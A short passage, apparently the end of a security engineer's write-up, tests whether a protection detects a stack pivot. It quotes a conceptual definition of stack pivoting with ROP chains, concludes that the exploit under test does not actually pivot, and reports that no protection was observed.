At first this result was a little surprising given that we are messing with the stack, but after searching around we found this snip from @OperationXen that clarified the behavior: “this is where you create fake stack frames in another area of memory (for example in the heap) which form your ROP chain, then change ESP to point at this new, attacker controlled, “stack”.”. The exploit we are working with does not attempt to create fake stack frames in another area; it’s not doing what we think we now understand as a ‘stack pivot’ at all.

Result: No protection.

Thanks!
Chad Duffey

Security Engineer